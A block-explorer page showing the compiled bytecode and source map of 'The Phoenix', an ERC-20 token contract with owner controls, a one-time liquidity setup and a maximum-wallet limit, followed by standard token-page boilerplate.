248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e6365006044820152606401610567565b600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091555460055461063391309173ffffffffffffffffffffffffffffffffffffffff90911690610cfb565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d719473061067f8173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af115801561070a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072f91906114bb565b5050600154604080517fc45a0155000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216925063c45a01559160048083019260209291908290030181865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906114e9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906114e9565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090691906114e9565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691821781556000918252600a602052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556005546064916109929190611535565b61099c9190611572565b60095543600655565b60006109b2848484610e79565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338085529252909120546109fa9186916109f59086906115ad565b610cfb565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115c4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610aef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115ad565b60006104bb338484610e79565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8116610cb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8216610e40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f5468652050686f656e6978000000000000000000000000000000000000000000815250604051602001610ef091906115dc565b60405160208183030381529060405290610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f5468652050686f656e6978000000000000000000000000000000000000000000815250604051602001610faf9190611643565b60405160208183030381529060405290610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600081116040518060400160405280600b81526020017f5468652050686f656e697800000000000000000000000000000000000000000081525060405160200161104191906116aa565b60405160208183030381529060405290611088576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600b81526020017f5468652050686f656e69780000000000000000000000000000000000000000008152506040516020016110f89190611711565b6040516020818303038152906040529061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5060056006544361115091906115ad565b116111715760005473ffffffffffffffffffffffffffffffffffffffff1691505b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff1661126957600954816111ce8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6111d891906115c4565b11156040518060400160405280600b81526020017f5468652050686f656e69780000000000000000000000000000000000000000008152506040516020016112209190611778565b60405160208183030381529060405290611267576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061129e9084906115ad565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600090815260036020526040812080548392906112d89084906115c4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161133e91815260200190565b60405180910390a3505050565b60005b8381101561136657818101518382015260200161134e565b83811115611375576000848401525b50505050565b602081526000825180602084015261139a81604085016020870161134b565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff811681146113ee57600080fd5b50565b6000806040838503121561140457600080fd5b823561140f816113cc565b946020939093013593505050565b60008060006060848603121561143257600080fd5b833561143d816113cc565b9250602084013561144d816113cc565b929592945050506040919091013590565b60006020828403121561147057600080fd5b813561147b816113cc565b9392505050565b6000806040838503121561149557600080fd5b82356114a0816113cc565b915060208301356114b0816113cc565b809150509250929050565b6000806000606084860312156114d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114fb57600080fd5b815161147b816113cc565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561156d5761156d611506565b500290565b6000826115a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000828210156115bf576115bf611506565b500390565b600082198211156115d7576115d7611506565b500190565b600082516115ee81846020870161134b565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b6000825161165581846020870161134b565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b600082516116bc81846020870161134b565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b6000825161172381846020870161134b565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b6000825161178a81846020870161134b565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e0000000000000000000000602082015260350191905056fea264697066735822122031585c633c86aabb8f255062a7dab256d4e30c135c60d0f5845b6e7e478135b064736f6c634300080d0033

Deployed Bytecode Sourcemap

2120:7245:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7803:71;;;;;;;;;;-1:-1:-1;7866:5:0;;;;;;;;;;;;;;;;;7803:71;;;;;;;:::i;:::-;;;;;;;;5956:163;;;;;;;;;;-1:-1:-1;5956:163:0;;;;;:::i;:::-;;:::i;:::-;;;1368:14:1;;1361:22;1343:41;;1331:2;1316:18;5956:163:0;1203:187:1;7141:654:0;;;;;;;;;;;;;:::i;:::-;;2166:30;;;;;;;;;;-1:-1:-1;2166:30:0;;;;;;;;;;;1586:42:1;1574:55;;;1556:74;;1544:2;1529:18;2166:30:0;1395:241:1;8046:87:0;;;;;;;;;;-1:-1:-1;8118:12:0;;8046:87;;;1787:25:1;;;1775:2;1760:18;8046:87:0;1641:177:1;6125:267:0;;;;;;;;;;-1:-1:-1;6125:267:0;;;;;:::i;:::-;;:::i;7961:79::-;;;;;;;;;;-1:-1:-1;7961:79:0;;2373:2;2426:36:1;;2414:2;2399:18;7961:79:0;2284:184:1;6398:214:0;;;;;;;;;;-1:-1:-1;6398:214:0;;;;;:::i;:::-;;:::i;2203:28::-;;;;;;;;;;-1:-1:-1;2203:28:0;;;;;;;;8233:104;;;;;;;;;;-1:-1:-1;8233:104:0;;;;;:::i;:::-;8317:17;;8299:7;8317:17;;;:8;:17;;;;;;;8233:104;1834:80;;;;;;;;;;;;;:::i;1637:65::-;;;;;;;;;;-1:-1:-1;1675:7:0;1693:6;;;1637:65;;7880:75;;;;;;;;;;-1:-1:-1;7945:7:0;;;;;;;;;;;;;;;;;7880:75;;6618:225;;;;;;;;;;-1:-1:-1;6618:225:0;;;;;:::i;:::-;;:::i;5781:169::-;;;;;;;;;;-1:-1:-1;5781:169:0;;;;;:::i;:::-;;:::i;2625:58::-;;;;;;;;;;-1:-1:-1;2625:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8343:131;;;;;;;;;;-1:-1:-1;8343:131:0;;;;;:::i;:::-;8444:18;;;;8426:7;8444:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8343:131;1920:193;;;;;;;;;;-1:-1:-1;1920:193:0;;;;;:::i;:::-;;:::i;8139:88::-;;;;;;;;;;-1:-1:-1;8209:15:0;;8139:88;;5956:163;6033:4;6050:39;1452:10;6073:7;6082:6;6050:8;:39::i;:::-;-1:-1:-1;6107:4:0;5956:163;;;;:::o;7141:654::-;1748:6;;:22;:6;1452:10;1748:22;1740:68;;;;;;;3551:2:1;1740:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1740:68:0;;;;;;;;;7207:16:::1;::::0;::::1;;7206:17;7198:61;;;::::0;::::1;::::0;;3953:2:1;7198:61:0::1;::::0;::::1;3935:21:1::0;3992:2;3972:18;;;3965:30;4031:33;4011:18;;;4004:61;4082:18;;7198:61:0::1;3751:355:1::0;7198:61:0::1;7270:16;:23:::0;;;::::1;7289:4;7270:23:::0;;::::1;::::0;;;7336:15;7354:12:::1;::::0;7304:63:::1;::::0;7321:4:::1;::::0;7336:15:::1;::::0;;::::1;::::0;7304:8:::1;:63::i;:::-;7378:15;::::0;::::1;;:31;7417:21;7448:4;7455:24;7448:4:::0;8317:17;;8299:7;8317:17;;;:8;:17;;;;;;;8233:104;7455:24:::1;7378:137;::::0;;::::1;::::0;;;;;;4424:42:1;4493:15;;;7378:137:0::1;::::0;::::1;4475:34:1::0;4525:18;;;4518:34;7481:1:0::1;4568:18:1::0;;;4561:34;;;4611:18;;;4604:34;2954:42:0::1;4654:19:1::0;;;4647:44;7499:15:0::1;4707:19:1::0;;;4700:35;4386:19;;7378:137:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7551:15:0::1;::::0;:25:::1;::::0;;;;;;;:15:::1;::::0;;::::1;::::0;-1:-1:-1;7551:23:0::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7542:43;;;7594:4;7601:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7542:82;::::0;;::::1;::::0;;;;;;5497:42:1;5566:15;;;7542:82:0::1;::::0;::::1;5548:34:1::0;5618:15;;5598:18;;;5591:43;5460:18;;7542:82:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7526:13;:98:::0;;;::::1;;::::0;;;::::1;::::0;;::::1;::::0;;-1:-1:-1;7635:44:0;;;:29:::1;:44;::::0;;;;;:51;;;::::1;-1:-1:-1::0;7635:51:0::1;::::0;;7715:12:::1;::::0;7734:3:::1;::::0;7715:16:::1;::::0;:12;:16:::1;:::i;:::-;:22;;;;:::i;:::-;7697:15;:40:::0;7775:12:::1;7754:18;:33:::0;7141:654::o;6125:267::-;6224:4;6241:36;6251:6;6259:9;6270:6;6241:9;:36::i;:::-;6319:19;;;;;;;:11;:19;;;;;;;;1452:10;6319:33;;;;;;;;;6288:74;;6297:6;;6319:42;;6355:6;;6319:42;:::i;:::-;6288:8;:74::i;:::-;-1:-1:-1;6380:4:0;6125:267;;;;;:::o;6398:214::-;1452:10;6488:4;6534:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;6488:4;;6504:78;;6526:7;;6534:47;;6571:10;;6534:47;:::i;1834:80::-;1748:6;;:22;:6;1452:10;1748:22;1740:68;;;;;;;3551:2:1;1740:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1740:68:0;3349:397:1;1740:68:0;1909:1:::1;1892:19:::0;;;::::1;::::0;;1834:80::o;6618:225::-;1452:10;6713:4;6760:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;6713:4;;6730:83;;6752:7;;6760:52;;6797:15;;6760:52;:::i;5781:169::-;5861:4;5878:42;1452:10;5902:9;5913:6;5878:9;:42::i;1920:193::-;1748:6;;:22;:6;1452:10;1748:22;1740:68;;;;;;;3551:2:1;1740:68:0;;;3533:21:1;3590:2;3570:18;;;3563:30;3629:34;3609:18;;;3602:62;3700:3;3680:18;;;3673:31;3721:19;;1740:68:0;3349:397:1;1740:68:0;2011:22:::1;::::0;::::1;2003:74;;;::::0;::::1;::::0;;6811:2:1;2003:74:0::1;::::0;::::1;6793:21:1::0;6850:2;6830:18;;;6823:30;6889:34;6869:18;;;6862:62;6960:9;6940:18;;;6933:37;6987:19;;2003:74:0::1;6609:403:1::0;2003:74:0::1;2088:6;:17:::0;;;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;1920:193::o;6849:286::-;6941:19;;;6933:68;;;;;;;7219:2:1;6933:68:0;;;7201:21:1;7258:2;7238:18;;;7231:30;7297:34;7277:18;;;7270:62;7368:6;7348:18;;;7341:34;7392:19;;6933:68:0;7017:400:1;6933:68:0;7020:21;;;7012:68;;;;;;;7624:2:1;7012:68:0;;;7606:21:1;7663:2;7643:18;;;7636:30;7702:34;7682:18;;;7675:62;7773:4;7753:18;;;7746:32;7795:19;;7012:68:0;7422:398:1;7012:68:0;7091:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;6849:286::o;8482:880::-;8587:1;8571:18;;:4;:18;;;;8605:5;;;;;;;;;;;;;;;;;8591:64;;;;;;;;:::i;:::-;;;;;;;;;;;;;8563:93;;;;;;;;;;;;;;:::i;:::-;;8689:1;8675:16;;:2;:16;;;;8707:5;;;;;;;;;;;;;;;;;8693:62;;;;;;;;:::i;:::-;;;;;;;;;;;;;8667:89;;;;;;;;;;;;;;:::i;:::-;;8784:1;8775:6;:10;8801:5;;;;;;;;;;;;;;;;;8787:68;;;;;;;;:::i;:::-;;;;;;;;;;;;;8767:89;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;8317:17:0;;;8299:7;8317:17;;;:8;:17;;;;;;8875:6;:25;;8916:5;;;;;;;;;;;;;;;;;8902:60;;;;;;;;:::i;:::-;;;;;;;;;;;;;8867:96;;;;;;;;;;;;;;:::i;:::-;;9017:1;8994:18;;8979:12;:33;;;;:::i;:::-;8978:40;8974:63;;1675:7;1693:6;;;9022:12;;8974:63;9052:33;;;;;;;:29;:33;;;;;;;;9047:198;;9138:15;;9127:6;9111:13;9121:2;8317:17;;8299:7;8317:17;;;:8;:17;;;;;;;8233:104;9111:13;:22;;;;:::i;:::-;9110:43;;9169:5;;;;;;;;;;;;;;;;;9155:77;;;;;;;;:::i;:::-;;;;;;;;;;;;;9102:131;;;;;;;;;;;;;;:::i;:::-;;9047:198;9255:14;;;;;;;:8;:14;;;;;:24;;9273:6;;9255:14;:24;;9273:6;;9255:24;:::i;:::-;;;;-1:-1:-1;;9290:12:0;;;;;;;:8;:12;;;;;:22;;9306:6;;9290:12;:22;;9306:6;;9290:22;:::i;:::-;;;;;;;;9343:2;9328:26;;9337:4;9328:26;;;9347:6;9328:26;;;;1787:25:1;;1775:2;1760:18;;1641:177;9328:26:0;;;;;;;;8482:880;;;:::o;14:258:1:-;86:1;96:113;110:6;107:1;104:13;96:113;;;186:11;;;180:18;167:11;;;160:39;132:2;125:10;96:113;;;227:6;224:1;221:13;218:48;;;262:1;253:6;248:3;244:16;237:27;218:48;;14:258;;;:::o;277:442::-;426:2;415:9;408:21;389:4;458:6;452:13;501:6;496:2;485:9;481:18;474:34;517:66;576:6;571:2;560:9;556:18;551:2;543:6;539:15;517:66;:::i;:::-;635:2;623:15;640:66;619:88;604:104;;;;710:2;600:113;;277:442;-1:-1:-1;;277:442:1:o;724:154::-;810:42;803:5;799:54;792:5;789:65;779:93;;868:1;865;858:12;779:93;724:154;:::o;883:315::-;951:6;959;1012:2;1000:9;991:7;987:23;983:32;980:52;;;1028:1;1025;1018:12;980:52;1067:9;1054:23;1086:31;1111:5;1086:31;:::i;:::-;1136:5;1188:2;1173:18;;;;1160:32;;-1:-1:-1;;;883:315:1:o;1823:456::-;1900:6;1908;1916;1969:2;1957:9;1948:7;1944:23;1940:32;1937:52;;;1985:1;1982;1975:12;1937:52;2024:9;2011:23;2043:31;2068:5;2043:31;:::i;:::-;2093:5;-1:-1:-1;2150:2:1;2135:18;;2122:32;2163:33;2122:32;2163:33;:::i;:::-;1823:456;;2215:7;;-1:-1:-1;;;2269:2:1;2254:18;;;;2241:32;;1823:456::o;2704:247::-;2763:6;2816:2;2804:9;2795:7;2791:23;2787:32;2784:52;;;2832:1;2829;2822:12;2784:52;2871:9;2858:23;2890:31;2915:5;2890:31;:::i;:::-;2940:5;2704:247;-1:-1:-1;;;2704:247:1:o;2956:388::-;3024:6;3032;3085:2;3073:9;3064:7;3060:23;3056:32;3053:52;;;3101:1;3098;3091:12;3053:52;3140:9;3127:23;3159:31;3184:5;3159:31;:::i;:::-;3209:5;-1:-1:-1;3266:2:1;3251:18;;3238:32;3279:33;3238:32;3279:33;:::i;:::-;3331:7;3321:17;;;2956:388;;;;;:::o;4746:306::-;4834:6;4842;4850;4903:2;4891:9;4882:7;4878:23;4874:32;4871:52;;;4919:1;4916;4909:12;4871:52;4948:9;4942:16;4932:26;;4998:2;4987:9;4983:18;4977:25;4967:35;;5042:2;5031:9;5027:18;5021:25;5011:35;;4746:306;;;;;:::o;5057:251::-;5127:6;5180:2;5168:9;5159:7;5155:23;5151:32;5148:52;;;5196:1;5193;5186:12;5148:52;5228:9;5222:16;5247:31;5272:5;5247:31;:::i;5645:184::-;5697:77;5694:1;5687:88;5794:4;5791:1;5784:15;5818:4;5815:1;5808:15;5834:228;5874:7;6000:1;5932:66;5928:74;5925:1;5922:81;5917:1;5910:9;5903:17;5899:105;5896:131;;;6007:18;;:::i;:::-;-1:-1:-1;6047:9:1;;5834:228::o;6067:274::-;6107:1;6133;6123:189;;6168:77;6165:1;6158:88;6269:4;6266:1;6259:15;6297:4;6294:1;6287:15;6123:189;-1:-1:-1;6326:9:1;;6067:274::o;6346:125::-;6386:4;6414:1;6411;6408:8;6405:34;;;6419:18;;:::i;:::-;-1:-1:-1;6456:9:1;;6346:125::o;6476:128::-;6516:3;6547:1;6543:6;6540:1;6537:13;6534:39;;;6553:18;;:::i;:::-;-1:-1:-1;6589:9:1;;6476:128::o;7825:516::-;8057:3;8095:6;8089:13;8111:53;8157:6;8152:3;8145:4;8137:6;8133:17;8111:53;:::i;:::-;8225:34;8186:16;;8211:49;;;-1:-1:-1;8294:10:1;8287:4;8276:16;;8269:36;8332:2;8321:14;;7825:516;-1:-1:-1;7825:516:1:o;8346:514::-;8578:3;8616:6;8610:13;8632:53;8678:6;8673:3;8666:4;8658:6;8654:17;8632:53;:::i;:::-;8746:34;8707:16;;8732:49;;;-1:-1:-1;8815:8:1;8808:4;8797:16;;8790:34;8851:2;8840:14;;8346:514;-1:-1:-1;8346:514:1:o;8865:520::-;9097:3;9135:6;9129:13;9151:53;9197:6;9192:3;9185:4;9177:6;9173:17;9151:53;:::i;:::-;9265:34;9226:16;;9251:49;;;-1:-1:-1;9334:14:1;9327:4;9316:16;;9309:40;9376:2;9365:14;;8865:520;-1:-1:-1;8865:520:1:o;9390:512::-;9622:3;9660:6;9654:13;9676:53;9722:6;9717:3;9710:4;9702:6;9698:17;9676:53;:::i;:::-;9790:34;9751:16;;9776:49;;;-1:-1:-1;9859:6:1;9852:4;9841:16;;9834:32;9893:2;9882:14;;9390:512;-1:-1:-1;9390:512:1:o;9907:529::-;10139:3;10177:6;10171:13;10193:53;10239:6;10234:3;10227:4;10219:6;10215:17;10193:53;:::i;:::-;10307:34;10268:16;;10293:49;;;-1:-1:-1;10376:23:1;10369:4;10358:16;;10351:49;10427:2;10416:14;;9907:529;-1:-1:-1;9907:529:1:o

Swarm Source

ipfs://31585c633c86aabb8f255062a7dab256d4e30c135c60d0f5845b6e7e478135b0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.